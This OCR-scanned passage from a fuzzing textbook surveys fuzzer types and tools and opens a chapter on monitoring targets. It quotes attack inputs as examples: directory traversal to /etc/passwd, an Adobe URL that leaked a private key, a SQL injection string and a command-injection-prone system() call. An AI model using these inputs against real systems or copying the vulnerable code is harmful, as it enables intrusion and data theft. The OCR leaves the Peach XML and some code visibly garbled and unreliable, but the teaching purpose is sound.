up ProxyFuzz (described later) would only take a few moments, but fewer bugs would
likely be found. Implementing the second request is left as an exercise to the reader.

5.2.2.2 Peach

Peach Fuzzer™ (Peach) is a model-based fuzzer framework that is available in two
editions: Peach Fuzzer Community Edition and Peach Fuzzer Professional Edition.
This section focuses on Peach Fuzzer Community Edition that is an open-source
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project and is available free of charge. Peach is available for Windows, Linux, and
OS X.

Peach is capable of both generation- and mutation-based fuzzing. To use Peach,
one has to create an XML file, a Peach Pit, that defines general configuration, data
model, state model, agents, and test configuration for fuzzing. Data models can
describe binary and typed data items, individual data items and arrays of data, and
relationships between data items. State modeling describes flows through a system
from data entering the test target to its exit. Agents describe one or more processes
that run locally or remote. These processes host one or more Monitors that are used
to detect undesired behavior from the target. Test configuration specifies a fuzzing
test that combines a StateModel with a Publisher and other configuration options
such as elements being mutated, Agents, and fuzzing strategies.

As an example of a Peach Pit file (Figure 5.3), we provide a fuzzing description
for a domain name system (DNS). DNS is used to translate domain names to their
IP addresses, and is core component of the functionality of the internet.

5.2.3 Using Prebuilt Protocol-Specific Fuzzers

A protocol-specific fuzzer can be engineered for any given protocol or application.
It takes effort (and a lot of RFC reading), but the reward is strong code coverage,
which will likely lead to more discovered bugs. Typically, protocol fuzzers are
developed for a particular protocol (SIP, HTTP, LDAP, etc.) and not a particu-
lar code base (OpenSSH, Apache, etc.). This makes them particularly useful for
baselining or performing cross-vendor auditing of particular implementations of
a given protocol. Automated result recording and reporting is ideal to mature the
testing process.

Much work has been done on protocol-specific, generation-based fuzzers. Spe-
cifically, the Oulu University Secure Programming Group (OUSPG) has created
a tool called the Mini-Simulation Toolkit (PROTOS).?° They used a context-free
grammar to represent the protocol (language) and build anomalous test cases. The
PROTOS project has been responsible for some widely publicized protocol vulner-
ability disclosures, including SNMP, LDAP, and SIP. For vendor evaluations of IP
applications, PROTOS has been good for creating a baseline tool: Specific implemen-
tations of a protocol that are found to have flaws don’t pass, and those that are bug
free pass the test. They admit that this approach is likely to have a pesticide effect:
Widespread use of the tool will result in vendors fixing the specific types of bugs
the tool is programmed to look for. Therefore, it will become less effective as the
tool is run and bugs are repaired; shared knowledge (code and techniques) becomes
more and more immune to the tool. But this will happen to every bug-finding tool
that doesn’t employ randomness or isn’t updated.

20Rauli Kaksonen, “A Functional Method for Assessing Protocol Implementation Security,” Techni-
cal Research Centre of Finland, VTT Publications. www.ee.oulu.fi/research/ouspg/protos/ analysis/

WP2000-robustness.
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<?xml version="1.0" encoding="utf-8"?>

<Peach>
<!-- General configuration starts -->
<Defaults>
<Number endian="network" />
</Defaults>
<!-- DataModel starts -->

<DataModel name="DnsQuery">
<Number name="TransactionId" size="16">
<Fixup class="SequenceRandom"/>
</Numpber>
<Flags name="Flags" size="16" endian="network">
<Flag size="1" position="0" name= Response"/>
<Flag size="4" name="OpCode" />
<Flag size="1" name="Truncated"/>
<Flag size="1" name="Recursion"/>
<Flag size="1" positio name="z2"/>
<Flag size="1" position="11" name="NonAuthenticated"/>
</Flags>
<Number name="Questions" size="16">
<Relation type="count" of="Queries"/>
</Number>
<Number name="AnswerRRs" size="16" value="0"/>
<Number name="AuthorityRRs" size="16" value="0"/>
<Number name="AdditionalRRs" size="16" value="0"/>
<Choice name="Queries" maxOccurs="-1">
<Block name="A">
<Block name="Label" maxOccurs="
<Number name="Length" size
<Relation type="size" of="Value"/>
</Number>
<String name="Value"/>
</Block>
<Number name="Type" size="16" value="1"/>
<Number name="Class" size="16" value="1"/>

</Block>
<Block name="CNAME">
<Block name="Label" maxOccurs="-1">

<Number name="Length" size="8">
<Relation type="size" of="Value"/>
</Number>
<String name="Value"/>
</Block>
<Number name="Type" size="16" value="5"/>
<Number name="Class" size="16" value="1"/>

</Block>
</Choice>
</DataModel>
<DataModel name="DnsResponse">
<Blob />
</DataModel>
<!-- StateModel starts -->

<StateModel name="TheStateModel" initialState="Initial">
<State name="Initial">
<Action type="output">
<DataModel ref="DnsQuery"/>
<Data>
<Field name="Flags.Recursion" value="1" />
<Field name="Queries[0].A.Label[0].Value" value="yahoo" />
<Field name="Queries[0].A.Label[1l].Value" value="com" />
<Field name="Queries[0].A.Label[2].Value" value="" />
</Data>
</Action>
<Action type="input">
<DataModel ref="DnsResponse"/>

</Action>
</State>
</StateModel>
<!-- Agent definition starts -->
<Agent name="RemoteAgent" locatlon="tcp //192.168.48.128:9001">
<!-- Fault detection, automation --

<Monitor class="LinuxDebugger">
<Param name="Executable” value="/usr/sbin/named" />

<Param name="Arguments" value="-f -u bind" />
</Monitor>
<!-- Data collection -->

<Monitor class="Pcap">
<Param name="Device" value="eth0" />
<Param name="Filter" value="port 53" />
</Monitor>
<!-- Data collection -->
<Monitor class="SaveFile">
<Param name="Filename" value="/var/logs/syslog" />

</Monitor>
</Agent>
<!-- Test definition starts -->

<Test name="Default" controlIteration="100">
<Agent ref="RemoteAgent"/>
<StateModel ref*"TheStateModel"/>
<Publisher clas Udp">
<Param name="Host"
<Param name="Port"
</Publisher>
<Logger class="File">
<Param name="Path" value="logs"/>
</Logger>
</Test>

192.168.48.128"/>
53" />

</Peach>

Figure. 5.3 Peach Pit file for DNS fuzz test.
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5.2.3.1 ikefuzz

For a simple example of a home-grown protocol-specific fuzzer, consider ikefuzz.?!
This tool was created a few years ago to test the ISAKMP protocol. The primary
reason for this is because IKE is loaded with cryptographic routines. This fuzzer
will test this specific protocol, but nothing else.

5.2.3.2 FTPfuzz

FTPfuzz?? is a protocol-specific fuzzer that is designed to fuzz FTP servers. It
understands the protocol and can actively talk to FTP servers and determine which
commands it accepts. It is managed by a Windows GUI application, which makes
it particularly friendly to use. Furthermore, the heuristics used can be selected by
the user from within the GUI interface.

5.2.4 Generic Fuzzers

A generic fuzzer is one that can be utilized to test multiple interfaces or applica-
tions. For example, a file fuzzer that flips bits in any file type might be thought of
as generic, since it can flip bits in arbitrary file types to be consumed by a variety
of applications. However, such a fuzzer would be nonintelligent because it blindly
makes changes with no knowledge of the underlying files structure. A file fuzzer
might still be generic and receive as an initialization parameter a partial or full
description of the file type to be fuzzed; this would increase its intelligence. The file
fuzzer would be a one-off or protocol-specific tool if it can only fuzz files of one type.

5.2.41 ProxyFuzz

An example of a generic fuzzer is ProxyFuzz.?? This fuzzer, written in Python, acts
as a man in the middle proxy and randomly makes changes to packets as they pass
through it. It doesn’t understand anything about the underlying protocol, it is com-
pletely unintelligent. It can be used to fuzz the server side of the communication, the
client side, or both. It can also handle either TCP or UDP data. The advantage of
using a simple fuzzer like ProxyFuzz is that it can be set up in a matter of minutes
and can find bugs. Obviously, it will not perform well against protocols that utilize
checksums, encryption, or challenge responses. The command line usage statement
reveals exactly how simple this fuzzer actual is. It looks like

python proxyfuzz -1 <localport> -r <remotehost> -p <remoteport> [options]

[options]

-C: Fuzz only client side (both otherwise)
-s: Fuzz only server side (both otherwise)
-w: Number of requests to send before start fuzzing

21Can be downloaded from www.vdalabs.com/resources.
22https://code.google.com/p/ftpfuzz/.
23http://www.secforce.com/blog/tag/proxyfuzz/.
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-u: UDP protocol (otherwise TCP is used)
-v: Verbose (outputs network traffic)
-h: Help page

5.2.4.2 FileFuzz

FileFuzz?* is a graphical Windows-based fuzzer written by Michael Sutton when
he worked for iDefense Labs. The GUI allows for the creation of fuzzed files and
a way to execute and monitor the application. During the creation phase, portions
of the initial valid file can be provided and the types of changes to those bytes can
be specified. For example, all bytes, one group at a time, in a file can quickly be
replaced with the value OxFF. Then, these files are launched in a specified application
as the command line argument. Additionally, FileFuzz comes with a monitoring tool
called crashme.exe. When FileFuzz actually launches the application, it launches it
by first calling crashme, which attaches to the target as a debugger and monitors it
for faults. The GUI displays the progress as each fuzzed file is launched, recording
any crashes that it discovers. A newer version of a tool like this has been created
by Microsoft: miniFuzz.?’

5.2.5 Capture-Replay

Most mutation or capture-replay fuzzers are generic. They operate by obtaining a
known good communication (a file, network sniff, typical arguments to a function,
etc), modifying it, and repeatedly delivering it to the target. The goal is to quickly
fuzz a new or unknown protocol; the capture provides a sort of partial interface
definition. One good thing about this approach is that if the protocol doesn’t oper-
ate in a manner consistent with the RFC, it is not a problem for mutation based
fuzzers since they don’t understand the RFC. If the capture includes this undocu-
mented capability, a mutation-based fuzzer will fuzz it, while a generation-based
fuzzer might miss the undocumented feature since it is built from the specification.
As in generic fuzzers, many mutation fuzzers can be tuned to a particular protocol,
increasing its protocol awareness and consequent code coverage. Mutation fuzzers
that record results during run-time will mature the testing process.

5.2.5.1 Autodafé

One generic capture-replay tool is known as Autodafé. Autodafé employs grey-box
techniques. The tool was created by Martin Vuagnoux?® and can be downloaded
from http://autodafe.sourceforge.net/. Helpful tutorials can also be found at this
URL. Autodafé includes automatic protocol detection with manual updating avail-
able, a large list of attack strings, and an incorporated debugger to dynamically place
weights on areas of target code that utilize external data in dangerous functions.

24http://packetstormsecurity.com/files/39626/FileFuzz.zip.html.
2Shttp://www.microsoft.com/en-us/download/details.aspx?id=21769.

26Martin Vuagnoux, “Autodafé: an Act of Software Torture,” 22nd Chaos Communication Con-
gress, Dec. 2005 (http://events.ccc.de/congress/2005/fahrplan/events/606.en.html). http://autodafe
.sourceforge.net.
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Multiplying the number of attack strings by the number of variables to fuzz yields the
complexity. By minimizing and ordering the tests, the overall runtime is decreased.
In the fuzzing field, Vuagnoux is probably the first to calculate such a metric, even
though it is relatively simple. There is an excellent tutorial online at http://autodafe.
sourceforge.net/tutorial/index.html, which we highly recommend you examine if
you’re considering fuzzing Unix applications.

5.2.5.2 The Art of Fuzzing

The Art of Fuzzing (TAOF?’) is a fuzzer that builds upon the work of many others.
This tool operates by capturing a proxied session and replaying with mutated traf-
fic. TAOF is a GUI cross-platform Python generic network protocol fuzzer. It has
been designed for minimizing setup time during fuzzing sessions, and it is especially
useful for fast testing of proprietary or undocumented protocols.?®>2” Here are some
self-explanatory screen shots from the Website (Figures 5.4 to 5.8):

TAOF allows the user to decompose the captured packets according to the pro-
tocol specification. In this way TAOF can more intelligently add anomalies to the
captured exchange and hopefully find more bugs.

5.2.5.3 loctlizer

Toctlizer?? is a two-part tool, written by Justin Seitz, which learns how a user mode
process utilizes IOCTLs to communicate with device drivers. From the test cases
that are trapped, it will fuzz the actual device. As a quick overview, an IOCTL (pro-
nounced i-oc-tel), is part of the user-to-kernel interface of a conventional operating
system. Short for input/output control, IOCTLs are typically employed to allow
user space code to communicate with hardware devices through kernel drivers.

Toctlizer is a generic IOCTL mutation (capture-replay) tool. As such, it suf-
fers and excels in the same way that all capture-replay tools do. This is also an
example of a one-off, because it was a quick tool designed only to fuzz IOCTLs.
Mr. Seitz created a more advanced tool that will enumerate all of the IOCTLs IDs
via an Immunity Debugger plug-in. Figures 5.9 to 5.14 show an example of how
one might use this tool:

In this case, the Windows calculator application (calc.exe) did not access an
IOCTL. The wireshark program did, but no errors were found. This is likely due
to three things:

1. There are no bugs to be found (probably not the case here).

2. Ten iterations were not enough to find the bug.

3. Wireshark did not access all possible IOCTLs in the limited amount of time
observed (most likely).

Thus, we see the primary weakness of mutation based systems in action here.

2’http://sourceforge.net/projects/taof.
Bwww.theartoffuzzing.com/joomla/index.php?option=com_content&task=view&id=16&Itemid= 35.
2%http://code.google.com/p/ioctlizer/.
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Figure 5.8 Network forwarding settings for data retrieval.
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ini (¢ Prompt - ioctltrap.py =13

C:\jared\fuzzers\ioctlizer\ioctlizer>ioctltrap.py
Select (P)ID or (O)pen Process:

Enter executable path (ex. C:\W wS\system32\calc.exe): ¢ sindows\system32\c
alc.exe
Output file (ex. wireshark.ioctl1):calc.exe

Figure 5.9 Choosing the application to fuzz.

[*] IOCTL Trapped

In Buffer: 13498d505bdlb36cef076db455ad1384d2¢c20013cab267d2c20013caby
ab267d2c20013cab267d2c20013cab267d2c20013ca2a9380910fb7f7f3d50000000
00000000000000000000000000000000000000000000000000000000000000000000(
00000000000000000000000000000000000000000000000000000000000000000000(
00000000000000000000000000000000000000000000000000000000000000000000(
00000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000

Out Buffer: dc262d90e9ach2021df39¢c5b6329934c18b4elab5e91d16088ddb23b
4a0ac8372 84cdb560bc544380265514053809a0db50238acc5b9d0df54eeel367
30a77756¢cf 6555falb4cab3ebbl5453a254ad5falf7ca4a9459¢c6T58c495a565
daaeb60d330b2015f962e1497df7483¢c5612014ad954eefhbe889d5d20d5ddd5080a4
430dd0fd8d2eabbt9775db3f028352T4bd791990eec3e834T4d748Tdf120575dbeSbs
0107fd717a7c96751dabcefebb04abc0ce9b0ed60b57e4774a543e179967F14f558¢C
db436f411892c107aa7cc0e0441aa2a43dab326b50f6

0

=13
o

Figure 5.10 Output from ioctltrap.py.

C:\jared\fuzzers\ioctlizer\ioctlizer>ioctlizer.py

Enter test case file path: calc.ioctl

Enter the number of iterations: 90

[*] Sorry there were no good test cases to use. Try retrapping the process.

C:\jared\fuzzers\ioctlizer\ioctlizer>

Figure 5.11 This happens when no valid IOCTL calls were observed

C:\Jjared\fuzzers\ioctlizer\ioctlizer>ioctltrap.py
Select (P)ID or (0O)pen Process: 0

Enter executable path (ex. C:\WINDOWS\system32\calc.exe): c:\progra~l\wiresh~1\
wiresh~1.exe
output file (ex. wireshark.ioctl):wireshark.ioctl,_

Figure 5.12 Trapped IOCTLs observed by the wireshark application.
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00000000000000000000000000000000000000000000000000000000000¢
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out Buffer: 0800000043003a00000000000df0adba
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C:\jared\fuzzers\ioctlizer\ioctlizer>ioctlizer.py
Enter test case file path: wireshark.ioct]
Enter the number of iterations: 10
[*] Found 18 IOCTL test cases.
Found O READ test cases.
Found O WRITE test cases.

Press any key to begin fuzzin

Figure 5.13 Preparing to fuzz the wireshark IOCTLs.

[*] Device: MountPointManager

[*] Device Handle Acquired: 000000ac

il

[*] Original Buffer (Truncated): 0000000000000000000000000
05¢c004400650076006900630065005c004800610072006400640069007
06d0065003200

[*] Mutated Buffer (Truncated): 0000000000000000000000000(
0d5000c00d800a500d9005000ee0001008f009d00a0000d003b00b1002§
03d0040008500

[*] Returned from memory: NULL

= *] Completed: 8

& *] Iteration: 9
*] Device: MountPointManager
*] Device Handle Acquired: 000000ac

[*] Original Buffer (Truncated): 0000000000000000000000000(
05c004400650076006900630065005¢c004800610072006400640069007
06d0065003200

[*] Mutated Buffer (Truncated): 4141414141414141414141414
1414141414141414141414141414141414141414141414141414141414
1414141414141414141414141414141414141414141414141414141414
[*] Returned from memory: NULL

* *] Completed: 9

[*] A11 finished. Completed 10 iterations.
Figure 5.14 Finished auditing the wireshark IOCTLs.
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5.2.5.4 The General Purpose Fuzzer

Another open-source generic mutation tool for download is called the General
Purpose Fuzzer (GPF) written by Jared DeMott. The typical use is performed in
the following manner:

1. Capture the network traffic to be fuzzed.

a. Be sure to save only the traffic you want by using an ethereal or wire-
shark filter.

b. Typically, this capture will be converted from the pcap format to the .gpf
format via a command like: ./GPF -C imap.cap imap.gpf

c. Optionally, a .gpf “capture” file can easily be defined by hand. For exam-
ple, the file prelogin.gpf in the directory /GPF/bin/imap was created
entirely by hand and was useful for finding (prelogin imap) bugs. The

file looks like:
Source:S Size:0021 Data:* OK Dovecot ready.
Source:C Size:0020 Data:02 LOGIN jared {5}
Source:S Size:0005 Data:02
Source:C Size:0007 Data:jared
Source:S Size:0005 Data:02
Source:C Size:0015 Data:03 CAPABILITY
Source:S Size:0005 Data:02
Source:C Size:0023 Data:04 AUTHENTICATE PLAIN
Source:S Size:0004 Data:+
Source:C Size:0026 Data:amFykjdAamFyZWQAamFyZWQ=
Source:S Size:0018 Data:04 OK Logged in.
Source:C Size:0030 Data:05 NOOP
04 LOGIN jared jared
Source:S Size:0005 Data:05
Source:C Size:0022 Data:06 LOGIN jared jared
Source:S Size:0005 Data:06
Source:C Size:0013 Data:07 STARTTLS
Source:S Size:0005 Data:07
Source:C Size:0011 Data:08 LOGOUT

The Source indicates which direction this communication originated
from—S is server and C is client. At fuzz time these can easily be flipped by
running GPF in the opposite mode than the capture was originally made.
It will then send “02 LOGIN jared {5},” and so on. The Size indicates the
amount of data. This allows for binary data to also be easily represented
in a .gpf file. Everything of Size length following the Data tag is the data
for this leg. A leg is one read or write communication of an entire session.

2. Choose an attack type.
a. The -R simply sends random data to an IP/PORT. This is only good
for fuzzing the first layer of a protocol. It’s very naive/dumb, but has
found bugs.
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b. The original GPF mode has four submodes: replay, buffer overflow, for-
mat, and logic. Replay will simply replay the capture. This is useful for
demonstrating an already discovered bug, or for validating a capture. The
buffer overflow submode inserts long strings at places of your choosing,
and the format attack mode inserts format string characters (such as %n)
in a similar manner. The logic mode is focused on bit flipping

c. The —P or pattern matching mode is the most popular GPF mode. It
automates the best of the above attack types. Each time the capture is
replayed, attacks of all types are inserted in random positions based on
the token type. Also, and very effectively, a reordering of the capture
file can occur. The =P command line requires us to supply a tokenizing
routine that helps GPF break up the capture file. In this case IMAP is
a normal_ascii protocol. Consider the execution of GPF against IMAP:

../GPF -P prelogin.gpf client 192.168.31.101 143 ? TCP 11223456
10000 2 auto none short normal_ascii quit

Before GPF begins fuzzing, the tokenizing output will look something
like this:

Tokenizing Captured Protocol:

Tok[11[0]: type= ASCII_CMD, datalen=2,
currentTotal=2, data="02"

Tok[11L1]: type= ASCIT_SPACE, datalen=1,
currentTotal=3, data=" *

Tok[1]1[2]: type= ASCII_CMDVAR, datalen=5,
currentTotal=8, data="LOGIN”

Tok[11[3]: type= ASCII_SPACE, datalen=1,
currentTotal=9, data="

Tok[11[4]1: type= ASCII_CMDVAR, datalen=5,
currentTotal=14, data="jared”

Tok[11[5]: type= ASCII_SPACE, datalen=1,
currentTotal=15, data=" *

Tok[11[6]1: type= ASCII_CMDVAR, datalen=3,
currentTotal=18, data="{5}"

Tok[1]J[7]: type= ASCII_END, datalen=2,
currentTotal=20, data="\x0d\x0a”
Tok[3]1[0]: type= ASCII_CMD, datalen=5,
currentTotal=5, data="jared”

Tok[3]J[1]: type= ASCII_END, datalen=2,
currentTotal=7, data="\x0d\x0a”

Tok[5][0]: type= ASCII_CMD, datalen=2,

currentTotal=2, data=703"

Tok[5]J[1]: type= ASCII_SPACE, datalen=1,
currentTotal=3, data=" “

Tok[5]1[2]: type= ASCII_CMDVAR, datalen=10,
currentTotal=13, data="CAPABILITY”
Tok[51[3]: type= ASCII_END, datalen=2,
currentTotal=15, data="\x0d\x0a”



5.2 Detailed View of Fuzzer Types 161

Each piece of data, now called a token, is assigned a type. Note that GPF
didn’t attempt to tokenize the server data, because this will simply be read
in by GPF and generally not acted upon. Each token is fuzzed according to
its own heuristics. For example, an ASCII_END might be reordered (\x0a\
x0d), replaced by a null, or left off. ASCII_CMDs aren’t fuzzed as often
because parsing mistakes tend to be in CMDVARs. See the GPF source code
for a complete description of the many heuristics.

d. The —-E mode is the newest: the Evolutionary Fuzzing System. EFS will

be detailed in Chapter 7.

5.2.6 In-Memory Fuzzing

In-memory fuzzing is substantially different from the other types of fuzzing discussed
throughout this chapter. Whereas traditional fuzzing is focused on injecting faults
or anomalies in external inputs and monitoring for crashes or other indications of
failures, in-memory fuzzing involves modifying arguments, in memory, before they
are consumed by internal program functions. This fuzzing technique is more suited
to closed-source applications, in which individual test harnesses cannot be easily
constructed due to lack of source code.

One of the major advantages of fuzzing over source code auditing and reverse
engineering is that fuzzing finds real bugs by exercising accessible interfaces. In-
memory fuzzing is closest to static analysis as it is mutating the internals of the
process. Similarly, as in static analysis, a dangerous function may be identified, but
after further investigation it might be found to be inaccessible via available user
interfaces or the data is filtered in some manner. With in-memory fuzzing, this
same false-positive scenario can arise, as the mutated input can be impossible to
happen in real-life communications because the targeted functions may or may not
be reachable via user input in that way. As we’ve discussed, only a small subset of
program functions are employed to handle user input.

In-memory fuzzing is further complicated by the fact that the elements being
fuzzed are not files or packets, but rather, function parameters or data in memory.
This means that the state of the program under test needs to be reset for each itera-
tion of the fuzzed code.

Should the time be taken to implement the above system, there are a few distinct
advantages. Consider a closed source application with a complicated encryption
scheme handled over multiple network handshake packets. Normally, this protocol
would have to be reverse engineered to create an intelligent fuzzer. A mutation-based
approach (flipping bits) would not fuzz the underlying data, but only the decryp-
tion functions. With in-memory fuzzing, all or some of the functions after a criti-
cal communication function can be fuzzed in memory without understanding how
the encryption works.3? In this way, the actual underlying data being parsed can
be fuzzed directly. Also, consider a network server that has a very slow multistate
client-server protocol. A speed increase could be realized via in-memory fuzzing in
this case as well.

30Going back to the IKE example, this may be a way to fuzz IKE without building a generation fuzzer.
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We asked our friend Jonathan Salwan about in-memory fuzzing. His experi-
ences are presented in Chapter 7.
5.3 Fuzzer Classification via Interface

Fuzzers could also be classified according to the interface they’re intended to test.
The following sections point out how a fuzzer could be used or constructed based
on particular interfaces.

5.3.1 Local Program

The classic example of local program fuzzing is finding a Unix SUID-root program
and fuzzing it. Any flaw in it may be used to elevate the privileges of an attacker.
Typically, local fuzzers mutate command line arguments, environment variables,
IPC or local sockets, and any other exposed interfaces. A good example of such a
fuzzer is Sharefuzz.3!

5.3.2 Network Interfaces

Testing IP protocols was once the dominant application of fuzzers. It is perhaps the
most critical use of fuzzing due to the consequences of a remote security breach by
a hacker. As we discussed, there are many different ways to generate the test cases.
Examples of this type of fuzzer include GPF, TAOF, and Sulley.

5.3.3 Files

File fuzzing involves repeatedly delivering semi-valid files to the application that
consumes those files. These files may consist of audio files, video files, word pro-
cessing, or in general, any file that an application might parse. Again, there are a
variety of ways to generate these files, depending on the domain-specific knowledge
for the file and the amount of time or effort available.

Below is a simple Java program that performs nonintelligent file fuzzing:

import java.io.*;
import java.security.SecureRandom;
import java.util.Random;

public class Fuzzer f{

private Random random = new SecureRandom();3?
private int count = 1;

3thttp://sourceforge.net/projects/sharefuzz/.
32GecureRandom() might not be the best choice: If you use Random with a seed, you will be able to
reproduce the tests.
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public File fuzz(File in, int start, int length)
throws I0Exception

{

byte[] data = new bytel[(int) in.length()];

DatalnputStream din = new DatalnputStream(new
FilelnputStream(in));

din.readFully(data);

fuzz(data, start, length);

String name = “fuzz_” + count + “_” + in.getName();

File fout = new File(name);

FileOutputStream out = new FileQutputStream(fout);

out.write(data);

out.close();

din.close();

count++;

return fout;

// Modifies byte array in place
public void fuzz(bytel[] in, int start, int length) {

bytel[] fuzz = new bytel[lengthl];
random.nextBytes(fuzz);
System.arraycopy(fuzz, 0, in, start, fuzz.length);

As described earlier, many file fuzzers exist, including Surku, FileFuzz, SPIKE-
file, notSPIKEfile, and the file fuzz PaiMei module.

5.3.4 APIs

An application programmer interface is a software description of how a certain
function is called. For example, in C, the definition of a function void myfunc(int,
int, char); would be the API, or prototype, to that function. The function returns
nothing, but accepts two integers and a character as parameters. API fuzzing involves
supplying unexpected parameters when this function is called. This could be done
with or without source code. If source code is not available, pre-analysis of the func-
tion or basic block would be required. A reverse engineering tool such as IDA Pro
could be used to quickly determine the parameters to internal functions. Gray-box
(requires debugger) API fuzzing would likely be carried out by security auditors,
while white-box (requires UNIT strap or instrumentation) API fuzzing would likely
be performed by QA professionals. Examples of API fuzzers include COMRaider,
(a COM object fuzzer) and AxMan, (an ActiveX fuzzer). Peach can be modified to
fuzz functions as well.
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5.3.5 Web Fuzzing

For the most part, Web fuzzing is a misnomer. It certainly is possible to fuzz the
HTTP protocol, just as it is any other protocol. Web testing receives extra attention
because HTTP/HTTPS traffic is the most common internet traffic. Often, though,
when people refer to Web fuzzing, what they really mean is automated Web audit-
ing. This consists of submitting various semi-valid data to various form fields of
Web applications and “spidering” the application to discover all the valid pages,
URLs, and inputs. The open source projects Pantera and Spike Proxy are both
examples of Web application fuzzers. WeblInspect, AppScan and OWASP ZAP are
some examples of well-known Web application fuzzers. Web fuzzing may also refer
to audits that brute force various types of login fields.

5.3.6 Client-Side Fuzzers

Some of us may recall the “month of browser bugs” posted by H.D. Moore. How
did this happen? A new browser bug posted everyday for an entire month! This was
a result of three primary factors:

* Browsers are terribly complex, including things like JavaScript.

« Client-side testing had not been considered important in the past.

« H.D. was the first one in. Fuzzing is particularly effective against mostly
untested interfaces. The first to fuzz will find the bulk of bugs. This makes
sense. The same is true for the first round of rough testing done by develop-
ers in a traditional setting.

Client-side testing simply indicates that it’s not the server under test but the client.
This had not been done much in the past because hackers liked to find exploits that
allow a server attack. As server code has gotten better over the years, new avenues
of pwning (slang for exploiting) boxes was required. It was discovered that setting
up a bogus Website that would send illegitimate connections back to weak brows-
ers was one such avenue. Let this be a lesson to developers and project managers:
clients are as important as servers. Some well-known client-side fuzzers include
MangleMe (an HTML fuzzer), and jsfunfuzz (a JavaScript fuzzer).

5.3.7 Layer 2 Through 7 Fuzzing

OSI (Open Systems Interconnection) is a standard description for how messages
should be transmitted between any two points on a network. Seven layers are used:

« Layer 7: Application layer;
« Layer 6: Presentation layer;
+ Layer 5: Session layer;

« Layer 4: Transport layer;

« Layer 3: Network layer;
 Layer 2: Data Link layer;

« Layer 1: Physical layer.
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Any of the layers could be fuzzed, but for example, sending random voltages to
the physical layer would just prove what we already know—it’ll fry it if you crank up
the juice. However, all the other layers include data that must be processed, which
could lead to parsing vulnerabilities. In 2006, the wireless data link layer (WiFi)
was fuzzed by Maynor and Ellch, who found a juicy OS X vulnerability.

Layer 3 of the networking stack is the IP header. A tool written years ago by
Mike Frantzen called IP Stack Integrity Checker (ISIC), was surprisingly good at
causing kernel panics in all types of Unix systems. The idea is the same as all fuzz-
ing: Create a mostly valid IP header but either randomize a few fields or purposely
pick known bad values. The IP stack when Microsoft’s Vista platform first came
out was interesting for two reasons:

1. Vista user land applications had been reasonably tested, but the kernel was
just becoming popular as a target.

2. The IP stack was totally rewritten for Vista. Which means it was new code,
that is fertile ground for fuzzing.

Additionally, there are commercial entities out there focused on writing layer
3 fuzzing for SCADA? and industrial platforms that have received relatively less
testing from the security community.

Summary

Bug detection tools known as fuzzers are a useful part of software testing and vul-
nerability analysis. The best fuzzers of today are built by experienced vulnerability
analysts and testers and employ the power of automatic protocol descriptions, ran-
domness, known useful heuristics, tracing, debugging, logging, and more.

This chapter has shown that many fuzzer types exist. At their core, they are all
very similar: Deliver semi-invalid data and report on results. However, the vehicle by
which the data is delivered to the test target is important if real results are desired.
Only the imagination limits the number of fuzzer categories and types. We have
given examples of some of the prevalent options. Understanding the internal opera-
tion of a given fuzzer is important for many reasons. Interpreting expected and
actual results would be one reason. Another is that in Chapter 8 we will compare
and contrast commercial options with open source options. For this to be possible
we require an understanding of the various tool types.

33http://len.wikipedia.org/wiki/SCADA.
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6.1

You’ve spent significant time analyzing the source and deriving high-quality fuzzed
inputs to test the target system. You've faithfully sent these inputs to the target. Now
what? Almost as important as the generation of inputs in the process of fuzzing is
the way in which the target is monitored. After all, if you can’t tell when an input
has caused a problem, it doesn’t do any good to have created and sent it! As we’ll see
in this chapter, there are a number of options when it comes to target monitoring,
some relatively basic and others that are quite complex and intrusive to the target,
but that may find vulnerabilities missed by less-detailed monitoring techniques.

What Can Go Wrong and What Does It Look Like

Before we can discuss how to properly monitor a system, we must first examine
what can go wrong with the target. Once we understand the issues that can arise,
we can better understand how to detect these problems. Since we already discussed
this earlier in the book, we will review this quickly.

6.1.1 Denial of Service

One common security problem found in systems is that of a denial of service condi-
tion. This means that the functionality provided by the system is no longer available
to the intended user or this functionality is only available at a degraded capacity.
This may mean the entire system is unusable, requires administration, reboots,
and so on. It may simply mean that an application is no longer available or that so
many resources of the system are being used and the performance of the system is
so severely degraded that users cannot utilize the service.

Denial of service problems are relatively easy to detect. The service can be peri-
odically checked to make sure it functions as intended in a timely manner. Likewise,
on the target, system resources can be monitored and alerts can be generated if they
exceed some threshold. One caveat is that oftentimes a denial of service condition
is transient. That is, the condition may only be temporary, and the system may
restore itself to full capacity after a short delay. One example of this would be an
input that forced a system to reboot. Only during the time required for the actual
reboot would the system be unavailable, but this is still a very critical issue. The
point is that the availability of the service needs to be checked frequently to avoid
missing such a situation.
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6.1.2 File System-Related Problems

There are many security issues related to the interaction of an application and its
file system. One common scenario is that of a directory transversal attack. In this
scenario, the application is intended to provide access for a user to a file from the
file system. The files allowed to be opened reside in a particular directory. However,
in some scenarios, an attacker may be able to break out of this directory and view
arbitrary files on the system (with the permissions of the application). For example,
the attacker may request to view the file “./../../..[../etc/passwd”. If the application
does not properly filter these directory transversal characters, arbitrary files may be
accessible, in this case the passwd file. Other file system-related problems include
injecting NULL characters into requested filenames and problems creating predict-
able temporary file names.

An example of the first two problems was demonstrated when an Adobe Web
application revealed its private key when the following URL was requested': www.
adobe.com/shockwave/download/download.cgi?P1_Prod_Version=..../..[..1.. [..1..L.[..0
ust/local/apache/conf/ssl.key/www.adobe.com.key%00.

The application was vulnerable to a directory transversal problem and did not
check for the embedded NULL (otherwise it would only request documents with
a particular suffix).

These types of problems can be found by monitoring applications to see which
files they attempt to open and which ones they are successful in opening. This list
of files can be compared to rules that govern which files should be accessed by the
application. Any files opened that should not be allowed should be noted.

6.1.3 Metadata Injection Vulnerabilities

Another broad class of problems involves the injection of metadata into a pro-
cess. This can take many forms. The most common is called SQL injection. In
this vulnerability, the application makes a request to a back-end SQL server. For
example, the attacker may supply “charlie’ or 1=1--" as a username variable to an
application. If the supplied metadata (in this case the apostrophe) is interpreted
as SQL, this could lead to bypassing the authentication of the application since
the condition “1=1" is always true. Besides this example, SQL injection can be
used to modify and destroy the database, access sensitive stored data, and even
run remote code.

SQL injection is just one example of the injection of metadata. Other examples
including carriage return characters in HTTP requests, XML characters in XML
data, LDAP characters in LDAP data, and so on. One final example is a class of
vulnerabilities known as command line injection vulnerabilities. Consider an appli-
cation that contains the following line of source code;

snprintf(command, sizeof(command), “unzip %s”, user_supplied_
filename); system(command);

lwww.theregister.co.uk/2007/09/27/adobe_website_leak/.
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These lines are intended to execute the unzip command on a user supplied file
name. However, the system function does this by forking and executing this com-
